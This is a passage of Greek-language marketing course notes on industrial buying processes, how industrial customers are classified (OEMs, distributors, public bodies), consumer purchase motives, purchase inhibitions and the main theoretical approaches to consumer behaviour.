Αξιολόγηση προσφορών και επιλογή προμηθευτών Οι προσφορές των υποψήφιων προμηθευτών αξιολογούνται από το «Κέντρο Αγοραστικών Αποφάσεων», με βάση τα συγκεκριμένα κριτήρια και προδιαγραφές. Αυτό το στάδιο συχνά περιλαμβάνει και διαπραγματεύσεις με τους επιλεγμένους προμηθευτές σχετικά με τους όρους της συναλλαγής (π.χ. τρόπος πληρωμής, παράδοση, after sales service) κατόπιν των οποίων γίνεται η τελική επιλογή.

Κλείσιμο συμφωνίας Υπογραφή συμβολαίου προμήθειας και καθορισμός της παραγγελίας

Οριστικοποιείται η συμφωνία μεταξύ αγοραστή και προμηθευτή. Περιλαμβάνει

το

αντικείμενο της παραγγελίας, την ποσότητα, τιμή ανά μονάδα και το χρόνο παράδοσης των προϊόντων ή του έργου.

Αξιολόγηση αποτελεσμάτων Στο τελικό αυτό στάδιο οι αγοραστές αξιολογούν τα αποτελέσματα της συνεργασίας τους με τον προμηθευτή που επέλεξαν και εάν ανταποκρίνεται στις προδιαγραφές της παραγγελίας και τις ανάγκες του οργανισμού και παίρνουν αποφάσεις για τη μελλοντική συνεργασία τους με το συγκεκριμένο προμηθευτή.

Ταξινόμηση Βιομηχανικών Πελατών Ανάλογα με τη Μορφή του Οργανισμού Όπως έχουμε αναφέρει σε προηγούμενη ενότητα, μια βιομηχανική αγορά αποτελείται από οργανισμούς (δηλ. από επιχειρήσεις, κρατικούς φορείς, μη κερδοσκοπικούς οργανισμούς, άτομα-επαγγελματίες) που αγοράζουν αγαθά και υπηρεσίες με σκοπό την περαιτέρω παραγωγική επεξεργασία, τη μεταπώληση ή την επαναδιανομή.

Οι βιομηχανικοί πελάτες, ανάλογα, με τη μορφή του οργανισμού ταξινομούνται σε: Βιομηχανικές επιχειρήσεις Εδώ περιλαμβάνονται οι βιομηχανικές και βιοτεχνικές επιχειρήσεις, οι επιχειρήσεις κατασκευών, οι εμπορικές επιχειρήσεις (χονδρέμποροι, λιανέμποροι), οι επιχειρήσεις μεταφορών, όπως και οι επιχειρήσεις υπηρεσιών (ξενοδοχεία, τράπεζες κ.λπ.). Στην κατηγορία αυτή ο σημαντικότερος «βιομηχανικός πελάτης» από την άποψη του όγκου προμηθειών και αγορών είναι οι εμποροβιομηχανικές επιχειρήσεις.

Δημόσιες Υπηρεσίες και Δημόσιοι Οργανισμοί Στην κατηγορία αυτή περιλαμβάνονται οι Κυβερνητικές Υπηρεσίες, οι Οργανισμοί Τοπικής Αυτοδιοίκησης, οι διάφορες Δημόσιες Επιχειρήσεις και Οργανισμοί (ΔΕΚΟ), όπως ΔΕΗ, ΟΤΕ κ.λπ. Οι Δημόσιες Υπηρεσίες και Οργανισμοί αγοράζουν μια τεράστια γκάμα προϊόντων, όπως π.χ.

γραφεία,

υπολογιστές,

καύσιμα,

λέβητες,

αμυντικό

εξοπλισμό

κ.λπ.

και

αντιπροσωπεύουν μια πραγματικά μεγάλη αγορά. Οι διαδικασίες προμήθειας (procurement procedures) που ακολουθούν οι Δημόσιες Υπηρεσίες και Οργανισμοί είναι αρκετά εξειδικευμένες (καθόσον διαφέρουν από υπηρεσία σε υπηρεσία) και μερικές φορές πολύπλοκες. Συνήθως οι υπηρεσίες αυτές θέτουν

λεπτομερείς προδιαγραφές για τα προϊόντα που θέλουν να προμηθευτούν και στη συνέχεια προκηρύσσουν δημόσιους μειοδοτικούς διαγωνισμούς. Οι προκηρύξεις μειοδοτικών διαγωνισμών από μέρους των Δημοσίων Υπηρεσιών και Οργανισμών διέπονται από ορισμένους κανόνες και γενικούς όρους. Οι όροι αυτοί περιλαμβάνουν μια σειρά άρθρων και δημοσιεύονται στην Εφημερίδα της Κυβερνήσεως. Στους δημόσιους μειοδοτικούς διαγωνισμούς οι προμηθευτές, που έχουν τα απαραίτητα προσόντα και είναι σε θέση να ανταποκριθούν στις οικονομικές, τεχνικές και νομικές απαιτήσεις της προκήρυξης, υποβάλλουν έγγραφες σφραγισμένες προσφορές. Παρά το γεγονός ότι ο μειοδότης (low bidder) έχει πολλές πιθανότητες να κερδίσει την παραγγελία και να συνάψει τη σχετική σύμβαση, η τιμή δεν είναι πάντα το μόνο στοιχείο αξιολόγησης των προσφορών. Η ποιότητα του προσφερόμενου προϊόντος, η τυχόν συμβατότητά του με τα ήδη χρησιμοποιούμενα, ο χρόνος παράδοσης και η συμμόρφωση του προμηθευτή με τους όρους της προκήρυξης είναι ουσιώδη στοιχεία και λαμβάνονται επίσης υπόψη στην αξιολόγηση των προσφορών. Οι διαδικασίες προμήθειας βιομηχανικών προϊόντων και υπηρεσιών που ακολουθούνται από τις Δημόσιες Υπηρεσίες και Οργανισμούς καθορίζονται από συγκεκριμένο Νομοθετικό Πλαίσιο.

Ιδρύματα Τα ιδρύματα αποτελούν άλλη μία κατηγορία βιομηχανικών πελατών και το μέγεθος της αγοράς που αντιπροσωπεύουν είναι αρκετά υπολογίσιμο. Τα σχολεία και τα διάφορα ιδρύματα υγείας και πρόνοιας είναι οι σημαντικότεροι πελάτες στην αγορά των ιδρυμάτων (institutional market), που περιλαμβάνει επίσης κολλέγια, πανεπιστήμια, βιβλιοθήκες, πινακοθήκες, κοινωφελείς οργανισμούς, φυλακές κ.λπ. Όλα αυτά τα ιδρύματα αγοράζουν μια σειρά προϊόντων και υπηρεσιών που είναι απαραίτητα για την προσφορά των δικών τους υπηρεσιών. Για παράδειγμα, οι αγοραστικές ανάγκες των Νοσοκομείων και των Φυλακών κυμαίνονται από γραφική ύλη μέχρι μεγάλες εγκαταστάσεις βιομηχανικών πλυντηρίων και σιδερωτηρίων. Όσον αφορά τα δημόσια ιδρύματα, σε αντίθεση με τα ιδιωτικά, οι αγοραστικές διαδικασίες είναι προκαθορισμένες και τυποποιημένες και συνήθως ακολουθούνται διαδικασίες προμηθειών όμοιες με εκείνες που ακολουθούν οι δημόσιες υπηρεσίες και οι δημόσιοι οργανισμοί.

Μία περαιτέρω ταξινόμηση των βιομηχανικών πελατών είναι αυτή που αναφέρεται στις εμποροβιομηχανικές επιχειρήσεις που, όπως τονίσαμε παραπάνω, αντιπροσωπεύουν μια μεγάλη βιομηχανική αγορά. Αυτές οι επιχειρήσεις ταξινομούνται σε τρεις κατηγορίες: 1. Χρήστες (end-users). 2.

Κατασκευαστές

Τελικών

Βιομηχανικών

–

OEMS

(Original

Equipment

Manufacturers). 3. Διανομείς και Χονδρέμποροι Βιομηχανικών Προϊόντων (Dealers - Industrial Distributors). Οι Χρήστες αγοράζουν το προϊόν και το χρησιμοποιούν είτε για την παραγωγή ενός τελικού προϊόντος είτε για την κατασκευαστική διαδικασία είτε για τη διευκόλυνση της λειτουργίας της επιχείρησης. Π.χ. οι πρέσες, τα τρυπάνια, οι τόρνοι, συμβάλλουν στην παραγωγή του τελικού προϊόντος ενώ οι Η/Υ, οι αριθμομηχανές, διευκολύνουν τη λειτουργία της επιχείρησης. Οι Κατασκευαστές Τελικών Βιομηχανικών- OEMS έχουν σκοπό την αύξηση της τιμής του προϊόντος με πρόσθετη αξία (π.χ. με μεταποίηση). Η κατηγορία αυτή περιλαμβάνει τις επιχειρήσεις εκείνες που προμηθεύονται βιομηχανικά προϊόντα για να τα ενσωματώσουν στα δικά τους, που στη συνέχεια θα πουληθούν σε βιομηχανικές ή καταναλωτικές αγορές. Για παράδειγμα, η Intel Corporation παράγει τους μικροεπεξεργαστές (microprocessors) που αποτελούν την καρδιά των φορητών ηλεκτρονικών υπολογιστών (laptops) της Hewlett Packard. Αγοράζοντας αυτούς τους μικροεπεξεργαστές, η Hewlett Packard μπορεί να ταξινομηθεί ως κατασκευαστής τελικών βιομηχανικών ή καταναλωτικών προϊόντων (Ο.Ε.Μ.). Αλλά και μια επιχείρηση κατασκευής αυτοκινήτων μπορεί να ταξινομηθεί στην κατηγορία αυτή όταν αγοράζει μπαταρίες, λάστιχα, cd players ή άλλα εξαρτήματα για να τα ενσωματώσει στα αυτοκίνητα που παράγει. Π.χ. η Ford Motor Co. είναι πελάτης πρωτογενών προϊόντων της Good Year για τα λάστιχα των αυτοκινήτων της. Οι Διανομείς και χονδρέμποροι βιομηχανικών προϊόντων έχουν σκοπό την αγορά του προϊόντος από τους κατασκευαστές και τη μεταπώλησή του χωρίς καμία μεταβολή στους χρήστες ή τους OEMS. Η κατηγορία αυτή περιλαμβάνει τις εμπορικές επιχειρήσεις που αγοράζουν βιομηχανικά προϊόντα για να τα μεταπουλήσουν στις δύο προηγούμενες κατηγορίες. Ο χονδρέμπορος βιομηχανικών προϊόντων (industrial distributor) συγκεντρώνει, αποθηκεύει και διαθέτει μια μεγάλη ποικιλία προϊόντων. Μπορεί να περιορισθεί μόνο σε είδη συντήρησης, επιδιόρθωσης κ.λπ. ή σε βιομηχανικά εργαλεία και είδη βιομηχανικού

εξοπλισμού που προσφέρει και διανέμει στους βιομηχανικούς του πελάτες, δηλαδή στους Χρήστες και στους Ο.Ε.Μs. Επειδή ο κάθε τύπος πελάτη αγοράζει το συγκεκριμένο προϊόν για διαφορετικό λόγο, είναι διαφορετικά και τα κριτήρια που χρησιμοποιεί για την αξιολόγηση του προϊόντος αυτού. Συγκεκριμένα, η επιχείρηση παραγωγής τροφίμων (Χρήστης) που χρησιμοποιεί το χρονοδιακόπτη στην παραγωγική της διαδικασία, ενδιαφέρεται άμεσα για την αξιοπιστία, την ποιότητα και το χρόνο παράδοσης του προϊόντος. Από την άλλη πλευρά, η επιχείρηση παραγωγής ηλεκτρικών συσκευών (Ο.Ε.Μ.) που ενσωματώνει το χρονοδιακόπτη στα πλυντήρια που κατασκευάζει, ενδιαφέρεται για την επίδραση που θα έχει το συγκεκριμένο προϊόν στην ποιότητα και την αξιοπιστία του δικού της προϊόντος. Επίσης, και επειδή οι χρονοδιακόπτες χρειάζονται σε μεγάλες παρτίδες, η επιχείρηση θα λάβει σοβαρά υπόψη της την παραγωγική δυναμικότητα του προμηθευτή, όπως και στην αξιοπιστία του σχετικά με τον υποσχόμενο χρόνο παράδοσης. Η κατάλληλη ταξινόμηση των εμποροβιομηχανικών επιχειρήσεων είναι απολύτως απαραίτητη για τον υπεύθυνο του βιομηχανικού μάρκετινγκ, γιατί μόνο έτσι θα μπορεί να είναι σε θέση να κατανοήσει τα αγοραστικά κριτήρια (buying criteria) που ένας συγκεκριμένος εμποροβιομηχανικός πελάτης χρησιμοποιεί για την αξιολόγηση ενός βιομηχανικού προϊόντος.

Αγοραστική Συμπεριφορά Είναι προφανές ότι η συμπεριφορά των καταναλωτών και των βιομηχανικών πελατών επηρεάζει άμεσα την επιτυχία και την επιβίωση μίας επιχείρησης. Οι αγοραστικές αποφάσεις των ατόμων δεν είναι σταθερές μέσα στο χρόνο. Μεταβάλλονται ανάλογα με τις επιρροές που δέχονται τα άτομα από διάφορες δυνάμεις του περιβάλλοντος τους και τις γενικότερες συνθήκες που διαμορφώνονται. Η μελέτη της αγοραστικής συμπεριφοράς των ατόμων έχει θεμελιώδη σημασία για το μάρκετινγκ, γιατί τροφοδοτεί τα στελέχη με εξαιρετικά χρήσιμες πληροφορίες, που τα βοηθούν να προγραμματίζουν καλύτερα τις ενέργειες τους. Η διερεύνηση και καταγραφή της αγοραστικής συμπεριφοράς γίνεται μέσα από επιστημονικές έρευνες που πραγματοποιούν πανεπιστημιακοί ή άλλοι φορείς, καθώς και εταιρίες έρευνας αγοράς για λογαριασμό των πελατών τους.

Δυναμικές μέθοδοι και σύγχρονες τεχνικές για άριστα αποτελέσματα πωλήσεων.

Πώληση Η προσωπική πώληση είναι μια από τις μεθόδους με τις οποίες η επιχείρηση έρχεται σε απευθείας επικοινωνία με τους πελάτες της. Με την επικοινωνία, η επιχείρηση προσπαθεί να πληροφορήσει και να πείσει τον πελάτη ότι αυτή η ίδια είναι η καλύτερη πηγή ικανοποίησης αναγκών και ότι το προϊόν το οποίο του προσφέρει θα ικανοποιήσει τη συγκεκριμένη ανάγκη του. Στην περίπτωση μιας επιχείρησης λιανικής πώλησης, η επικοινωνία με τον πελάτη μπορεί να γίνεται μέσω του καταστήματός της, με τον τρόπο παρουσίασης του εμπορεύματος στη βιτρίνα και μέσα στο κατάστημα. Επίσης, επικοινωνεί με τον πελάτη με τις δημόσιες σχέσεις, με τη διαφήμιση και με τους πωλητές της. Η καλύτερη κατανόηση των πελατών οδηγεί σε υψηλότερα επίπεδα ικανοποίησης και πίστης των πελατών. Απόφαση Αγοράς

Τύποι Απόφασης: Μικρές Νέες Αγορές Αυτές οι αγορές είναι κάτι καινούριο για τον πελάτη αλλά δεν είναι ιδιαίτερα σημαντικές όσον αφορά στην ανάγκη, στο χρήμα ή άλλη αιτία.

Μικρές Επαναγορές Αυτές είναι οι αγορές ρουτίνας που ο πελάτης συνήθως αγοράζει το ίδιο προϊόν χωρίς να σκεφτεί ιδιαίτερα τις άλλες επιλογές.

Μεγάλες Νέες Αγορές Αυτές οι αγορές είναι οι πιο δύσκολες επειδή ο πελάτης δεν έχει προηγούμενη εμπειρία με την επιχείρηση. Αυτού του είδους η απόφαση απαιτεί από τον καταναλωτή να μπει σε μια εκτενή διαδικασία για να πάρει τη σωστή απόφαση.

Μεγάλες Επαναγορές Αυτές οι αγορές είναι το ίδιο σημαντικές για τον πελάτη αλλά ο ίδιος νιώθει πιο σίγουρος για την απόφαση του από την εμπειρία του στο παρελθόν. Η συμπεριφορά του πελάτη επηρεάζεται από τρεις παράγοντες:

•

Τη διαδικασία λήψης αποφάσεων

•

Τους ψυχολογικούς παράγοντες

•

Τους κοινωνιολογικούς παράγοντες

Στη διαφάνεια βλέπουμε το πρότυπο συμπεριφοράς του Πελάτη Οι ψυχολογικοί παράγοντες που καθορίζουν τη συμπεριφορά του πελάτη είναι οι ακόλουθοι:

Ανάγκες Είναι το σημείο εκκίνησης για όλα τα είδη συμπεριφοράς. Διακρίνονται σε: βιολογικές, κοινωνικές, ψυχολογικές και πνευματικές

Αντιλήψεις Είναι οι ατομικές διαδικασίες που δίνουν νόημα στα εναύσματα που αντιμετωπίζει ο καταναλωτής.

Κίνητρα Είναι δυνάμεις στόχου που οργανώνουν και κατευθύνουν την ένταση που δημιουργήθηκε από τις ανικανοποίητες ανάγκες.

Στάσεις Σταθερές απόψεις οι οποίες βασίζονται σε έναν συνδυασμό γνώσης, αίσθησης και τάσης στη συμπεριφορά. Οι κοινωνιολογικοί παράγοντες που καθορίζουν τη συμπεριφορά του πελάτη είναι οι ακόλουθοι:

Κουλτούρα Πρότυπα και αξίες της συμπεριφοράς που χαρακτηρίζουν μια ομάδα καταναλωτών σε μια αγορά στόχο.

Κοινωνική Tάξη Υποδιαιρέσεις σε μια κοινωνία που έχει διαφορετικά επίπεδα κοινωνικού κύρους. Παράγοντες καθορισμού της κοινωνικής τάξης: εργασία, υλικά αγαθά, εισόδημα, εκπαίδευση, κλπ.

Ομάδες αναφοράς

Ομάδες στις οποίες ένα άτομο επιτρέπει να ασκήσουν επιρροή στη συμπεριφορά του (πχ. οικογένεια, ομάδα εργασίας).

Διαμορφωτές Κοινής Γνώμης Άτομα που διοχετεύουν πληροφορίες σε κοινωνικές ομάδες.

Κίνητρα Αγοράς του Πελάτη Το κίνητρο είναι μία κατάσταση, η οποία ωθεί τα άτομα προς την εκπλήρωση των σκοπών τους. Δηλαδή, κίνητρο δεν είναι η ιδιότητα ενός προϊόντος, ούτε μέρος της διαφήμισης ή της ικανότητας ενός πωλητή για την πώληση ενός προϊόντος. Το κίνητρο βρίσκεται στον ψυχικό και πνευματικό κόσμο του πελάτη, στον οποίο δεσπόζει και τον επηρεάζει, έτσι ώστε να επιζητεί την ικανοποίησή του. Η επιτυχία σε μια πώληση θα εξαρτηθεί από την ικανότητα του πωλητή να καταλάβει τα βασικά κίνητρα που βρίσκονται πίσω από τη συμπεριφορά του πελάτη. Σε πρώτο στάδιο, πρέπει να καταστεί σαφές ότι το προϊόν ή η υπηρεσία καλύπτει την ανάγκη. Σε δεύτερο στάδιο, επιδιώκεται η κινητοποίηση του πελάτη, κάνοντας το προϊόν πιο επιθυμητό. Και οι δύο στόχοι προσεγγίζονται μέσα από τεχνικές επικοινωνίας: παροχή πληροφοριών, επίδειξη του τρόπου ικανοποίησης της ανάγκης, παροχή κινήτρων για δράση. Η διαφήμιση και η προσωπική πώληση είναι χρήσιμες μέθοδοι ενίσχυσης των κινήτρων, ενώ μέσα στο κατάστημα, οι εκπτώσεις, οι ειδικές προσφορές, οι διαγωνισμοί αυξάνουν την επιθυμία του πελάτη, σε σημείο που η αγορά να είναι αναπόφευκτη.

Κίνητρα Οι άνθρωποι αισθάνονται καλά όταν τους φροντίζουν. Όταν τους δείχνετε πραγματικό ενδιαφέρον και τους προσφέρετε κάτι που δεν το περιμένουν, έχουν τη τάση να σας θυμούνται και να επιστρέφουν σε εσάς. Αυτό είναι πολύ αληθινό σε καιρούς αβεβαιότητας και οικονομικής στενότητας. Το καλύτερο αντιβιοτικό για την απώλεια πελατών, είναι να προσφέρετε στους πελάτες σας παραπάνω από αυτά που περιμένουν. Τα κίνητρα πηγάζουν από τις προσδοκίες. Το συναίσθημα ικανοποίησης ενός πελάτη πηγάζει από το γεγονός ότι έλαβε από εσάς κάτι παραπάνω από αυτό που προσδοκούσε. Ένιωσε σημαντικός, επειδή κάνατε για αυτόν κάτι που οι περισσότεροι δεν θα έκαναν. Ένας διαχωρισμός των κινήτρων είναι σε λογικά και συναισθηματικά.

Ο όρος λογικά νοείται με την παραδοσιακή οικονομική έννοια, σύμφωνα με την οποία οι πελάτες πράττουν εντελώς ορθολογικά αξιολογώντας όλες τις εναλλακτικές λύσεις που έχουν και επιλέγοντας αυτή που τους αποφέρει τη μεγαλύτερη χρησιμότητα. Δηλαδή, οι πελάτες επιλέγουν με αντικειμενικά κριτήρια κάνοντας ανάλυση κόστους-οφέλους. Τα συναισθηματικά κίνητρα υποδηλώνουν ότι

η επιλογή των στόχων γίνεται με

υποκειμενικά/προσωπικά κριτήρια. Η παραδοχή πίσω από αυτό το διαχωρισμό είναι πως τα συναισθηματικά κίνητρα δε μεγιστοποιούν τη χρησιμότητα/ικανοποίηση. Ωστόσο, η αξιολόγηση της χρησιμότητας είναι κάτι εντελώς προσωπικό. Αυτό που σε κάποιον φαίνεται παράλογο, σε κάποιον άλλο μπορεί να φαίνεται απόλυτα λογικό. Μια άλη ταξινόμηση προτείνει τις ακόλουθες διαστάσεις αγοραστικών κινήτρων: •

Την προβλεπόμενη χρησιμότητα (τα πλεονεκτήματα που παρέχονται από την αγορά του προϊόντος

•

Το νόμιμο ρόλο (προσδιορίζοντας και υιοθετώντας πολιτιστικά καθορισμένους ρόλους)

•

Τη διαπραγμάτευση (αναζήτηση οικονομικών πλεονεκτημάτων μέσω των ευκαιριών)

•

Τη βελτιστοποίηση των επιλογών (η αναζήτηση των σωστών προϊόντων που ταιριάζουν στις απαιτήσεις κάποιου)

•

Το δεσμό (με τους άλλους, άμεσα ή έμμεσα)

•

Τη δύναμη και την εξουσία (απόκτηση διακεκριμένης κοινωνικής θέσης)

•

Το ερέθισμα (αναζήτηση για καινοφανή και ενδιαφέροντα κίνητρα)

Ιεράρχηση Αναγκών Οι ανθρώπινες ανάγκες είναι συγκεκριμένες και ιεραρχήθηκαν από τον Maslow, σύμφωνα με τη διάταξη της διαφάνειας.

Επιθυμίες Εκτός από τις ανάγκες, η συμπεριφορά των ατόμων επηρεάζεται και από τις επιθυμίες τους. Οι επιθυμίες εκφράζουν τον πόθο του ατόμου για την επιλογή συγκεκριμένων μέσων ικανοποίησης των αναγκών τους. Οι επιθυμίες των ατόμων είναι ανεξάντλητες, ενώ οι ανάγκες τους είναι πάντα συγκεκριμένες και περιορισμένες σε αριθμό. Βεβαίως, τα άτομα δεν μπορούν πάντα να ικανοποιήσουν όλες τους τις επιθυμίες, γιατί τις περισσότερες φορές δε διαθέτουν τα οικονομικά μέσα για την αγορά αγαθών ή υπηρεσιών που ικανοποιούν τις επιθυμίες τους.

Οι ανθρώπινες ανάγκες είναι ίδιες για όλους τους ανθρώπους, όμως ο χρόνος που εκδηλώνεται κάθε ανάγκη, καθώς και η ένταση τους, διαφέρει από άτομο σε άτομο ανάλογα με τις θεμελιώδεις επιθυμίες του. Τα μέσα που ικανοποιούν ανάγκες, επιθυμίες και απαιτήσεις των ανθρώπων προσδιορίζονται επίσης από τη διαθεσιμότητά τους και την τεχνολογία της εποχής, εκτός από τις σχετικές επιθυμίες του πελάτη.

Αναστολές Αγοράς Συχνά κατά τη διαδικασία πώλησης, ο πωλητής μπορεί να διαπιστώσει πως ο πελάτης έχει αναστολές. Οι αναστολές αυτές μπορεί να οφείλονται σε στοιχεία της προσωπικότητας του πελάτη, στον τρόπο ζωής του, στην αντίληψη του πελάτη, τον τρόπο δηλαδή με τον οποίο ερμηνεύει το περιβάλλον του, τις προηγούμενες εμπειρίες του, τις πνευματικές του ικανότητες, τη διάθεσή του. Κάθε οικονομική κρίση ισχυροποιεί τις αγοραστικές αντιστάσεις και την καχυποψία από τη μεριά των υποψήφιων αγοραστών. Η προδιάθεση του πελάτη να ανταποκρίνεται με ένα συγκεκριμένο τρόπο μειώνει την ανάγκη του να αξιολογεί σε βάθος τις εναλλακτικές λύσεις. Ο πωλητής θα πρέπει επομένως να στοχεύει στη διαμόρφωση και διατήρηση στάσεων απέναντι στο προϊόν του. Είναι πολύ πιο εύκολο για τον πελάτη να αλλάξει τη θετική του στάση σε αρνητική απ’ ότι είναι για τον πωλητή να μετατρέψει μια αρνητική στάση του πελάτη σε θετική Οι αναστολές αγοράς εξαρτώνται σε πολύ μεγάλο μέρος από το βαθμό εμπιστοσύνης που έχετε κερδίσει από τον πελάτη. Στην ανάπτυξη εμπιστοσύνης, σε περίπτωση απουσίας προηγούμενης επαφής, οι συστάσεις από κάποιο κοινό σύνδεσμο βοηθούν και αντιμετωπίζουν της αναστολές του πελάτη. Οι αναστολές συχνά οφείλονται στη γενική παρουσίαση του προϊόντος, η οποία δεν προσφέρει επιβεβαίωση ότι η πώληση θα ικανοποιήσει τις ιδιαίτερες ανάγκες και επιθυμίες του πελάτη. Η εμπιστοσύνη αναπτύσσεται μέσα από το πραγματικό ενδιαφέρον για τον πελάτη, τη σωστή επικοινωνία, το να δείξει ο πωλητής ότι ακούει ενεργά και θέλει να μάθει όσα περισσότερα γίνεται για τα χαρακτηριστικά και τις ανάγκες του.

Η πώληση είναι μια ενέργεια που πρέπει να γίνεται με άνετο και φυσικό τρόπο. Οι αντιρρήσεις και οι αναστολές είναι κάτι απολύτως φυσιολογικό αλλά μια αμυντική ή ενοχλημένη στάση από τον πωλητή θα τις μεγιστοποιήσει. Συστήνεται η σωστή κατανόηση, η καλή ενημέρωση και η πρόταση εναλλακτικών λύσεων σε σχέση με την τιμή, την παράδοση των προϊόντων, τους τρόπους πληρωμής κλπ. Ακολουθούν χαρακτηριστικές συμπεριφορές πελατών

Συνηθισμένη αγοραστική συμπεριφορά Εκδηλώνεται όταν τα άτομα αγοράζουν προϊόντα καθημερινής χρήσης, τα οποία είναι μικρής αξίας. Στην περίπτωση αυτή, οι αγοραστές λαμβάνουν γρήγορες αποφάσεις χωρίς να αναζητούν πληροφορίες με ιδιαίτερη σχολαστικότατα. Οι αποφάσεις τους στηρίζονται στον αυθορμητισμό, το συναίσθημα και τη συνήθεια.

Αγοραστική Συμπεριφορά Αναζήτησης Ποικιλίας Εκδηλώνεται, όταν οι πελάτες επιλέγουν διαφορετική μάρκα προϊόντος μόνο για «αλλαγή». Κατά την εκδήλωση αυτής της συμπεριφοράς οι αγοραστικές αποφάσεις λαμβάνονται τις περισσότερες φορές αυθόρμητα. Αν ο αγοραστής ικανοποιηθεί από τη χρήση του νέου προϊόντος που αγόρασε, είναι ενδεχόμενο να γίνει τακτικός χρήστης για κάποιο χρονικό διάστημα.

Αγοραστική συμπεριφορά ελάττωσης της ασυμφωνίας Εκδηλώνεται, όταν πρόκειται για αγορές προϊόντων ή υπηρεσιών μεγάλης αξίας. Στις περιπτώσεις αυτές οι πελάτες συγκεντρώνουν σχολαστικά πληροφορίες για το προϊόν ή την υπηρεσία που τους ενδιαφέρει, τις αναλύουν προσεκτικά και παίρνουν τις αγοραστικές τους αποφάσεις με πολύ περίσκεψη, ώστε να μειώσουν στο ελάχιστο τον κίνδυνο να μετανιώσουν αργότερα για την αγορά τους.

Σύνθετη Αγοραστική Συμπεριφορά Εκδηλώνεται όταν για τη λήψη της αγοραστικής απόφασης πρέπει να συνεκτιμηθούν πολλά και διαφορετικά στοιχεία. Πρέπει να συνεκτιμηθούν οι παρούσες και μελλοντικές ανάγκες του χρήστη, οι δυνατότητες του προϊόντος, η ποιότητα και τα χαρακτηριστικά των εξαρτημάτων του, η αξιοπιστία του προμηθευτή, η παροχή τεχνικής υποστήριξης, καθώς και ο προβλεπόμενος χρόνος ζωής του.

Στις περιπτώσεις αυτές ο υποψήφιος αγοραστής καθυστερεί σημαντικά τη λήψη της απόφασής του, γιατί επιδιώκει να συγκεντρώσει όσο το δυνατόν περισσότερες πληροφορίες, να τις αξιολογήσει προσεκτικά και να συμβουλευτεί ίσως άλλα πρόσωπα.

Αγοραστική Συμπεριφορά Αντιμετώπισης του Αγνώστου Εκδηλώνεται, όταν πρόκειται για την αγορά προϊόντων ή υπηρεσιών με χαρακτηριστικά που είναι παντελώς άγνωστα στον αγοραστή. Όταν εκδηλώνεται λοιπόν αυτή η συμπεριφορά, ο υποψήφιος αγοραστής εμφανίζεται πολύ διστακτικός να αποφασίσει μόνος του για την αγορά και επιζητεί τη βοήθεια άλλων, μελετά σχολαστικά ειδικά περιοδικά, διαφημιστικά έντυπα και τέλος καταφεύγει στους ειδικούς, που συνήθως είναι εξειδικευμένοι πωλητές. Η κάθε μια από τις πιο πάνω συμπεριφορές απαιτεί διαφορετική προσέγγιση και επικοινωνία. Σε κάθε περίπτωση, είναι καλό να ληφθούν υπόψη οι ψυχολογικοί παράγοντες που καθορίζουν τη συμπεριφορά του πελάτη, τα κίνητρα αγοράς του, οι ιδιαίτερες ανάγκες και επιθυμίες του, ο λόγος των αναστολών του και ο τύπος της αγοράς. Ο στόχος του πελάτη είναι να καλύψει τις ανάγκες του βάσει λογικής θεώρησης και να αισθανθεί καλά μέσα από την αγορά. Για αυτό, το ενδιαφέρον, η ενεργή ακρόαση και η εξατομικευμένη προσέγγιση είναι τα κλειδιά της επιτυχίας. Κάντε τον πελάτη να αισθανθεί σημαντικός, χτίστε μια προσωπική σχέση που επεκτείνεται από το στενό πλαίσιο της πώλησης και προσπαθήστε να κάνετε επιπλέον βήματα για την ικανοποίηση των επιθυμιών του. Βασικές προσεγγίσεις στη Συμπεριφορά Καταναλωτή Για να κατανοήσουμε καλύτερα τη συμπεριφορά του καταναλωτή θα αναφέρουμε κάποιες προσεγγίσεις και τον τρόπο με τον οποίο αυτές εξέτασαν, αντιλήφθηκαν και περιέγραψαν τη συμπεριφορά του καταναλωτή. Σχετικά με τη συμπεριφορά του καταναλωτή λοιπόν κυριαρχούν οι εξής προσεγγίσεις

Η ποσιτιβιστική (θετικιστική) προσέγγιση Η ποσιτιβιστική (θετικιστική) προσέγγιση, επικεντρώνεται στα αίτια και στις επιπτώσεις των πράξεων του καταναλωτή κάτω από συγκεκριμένες καταστάσεις. Είναι ένας παραδοσιακός τρόπος βάση του οποίου έχει πραγματοποιηθεί ένα μεγάλο ποσοστό ερευνών. Οι σημαντικότερες υποθέσεις της ποσιτιβιστικής προσέγγισης

είναι οι εξής:

•

Όλες

οι

συμπεριφορές

έχουν

αντικειμενικά

προσδιορίσιμα

αίτια

και

αποτελέσματα, τα οποία μπορούν να απομονωθούν, να ερευνηθούν και να μετρηθούν.

•

Όταν αντιμετωπίζουμε ένα πρόβλημα ή πρέπει να λάβουμε μια απόφαση, επεξεργαζόμαστε όλες τις σχετικές πληροφορίες που είναι διαθέσιμες για τη διεξαγωγή του.

•

Έπειτα από την επεξεργασία των πληροφοριών οι άνθρωποι παίρνουν μια λογική απόφαση για την καλύτερη δυνατή επιλογή που μπορούν να κάνουν ή απόφαση που θα λάβουν.

Παρόλο που η προσέγγιση αυτή έχει χρησιμοποιηθεί κι από άλλες κοινωνικές επιστήμες, υπάρχουν παράμετροι της ανθρώπινης συμπεριφοράς που δεν εξετάζονται καθόλου μέσα από αυτή. Καθώς η κατανάλωση είναι πλέον ένα παγκόσμιο και πολύ συχνό φαινόμενο, πολλοί αντιμετωπίζουν όλη την ανθρώπινη δραστηριότητα από τη σκοπιά της κατανάλωσης και στη συνέχεια την «καταναλωτική δραστηριότητα» με θετικιστικό τρόπο προσέγγισης. Για παράδειγμα, η σχέση μεταξύ ενός γιατρού κι ενός ασθενή μπορεί να εξεταστεί με κύριο άξονα την παροχή (από την πλευρά του γιατρού) και κατανάλωση (από την πλευρά του ασθενή) των υπηρεσιών υγείας. Με τον ίδιο τρόπο θα μπορούσε να χαρακτηριστεί και η σχέση μεταξύ δασκάλου και μαθητή, ως παροχή και κατανάλωση της παιδείας. Η παραπάνω προσέγγιση είναι γνωστή ως η άποψη της απλοποίησης (reductionist view) της σχέσης γιατρού–ασθενή και δασκάλου–μαθητή, η οποία απλοποιεί το περιεχόμενο των σχέσεων αυτών στην αγορά και κατανάλωση των υπηρεσιών. Αυτό που λείπει από τη συγκεκριμένη προσέγγιση και το οποίο είναι εξαιρετικά σημαντικό, είναι ο ψυχολογικός παράγοντας αυτών των σχέσεων, καθώς δεν αναφέρεται στις ψυχολογικές αλληλεπιδράσεις μεταξύ των δύο αντικειμένων ανάλυσης. Από τη στιγμή όμως που υπάρχει κάποιου είδους σχέση μεταξύ των δύο μερών, η πράξη της κατανάλωσης γίνεται αυτόματα περισσότερο περίπλοκη από εκείνη που αναφέρεται µόνο στις διαδικασίες της αγοράς 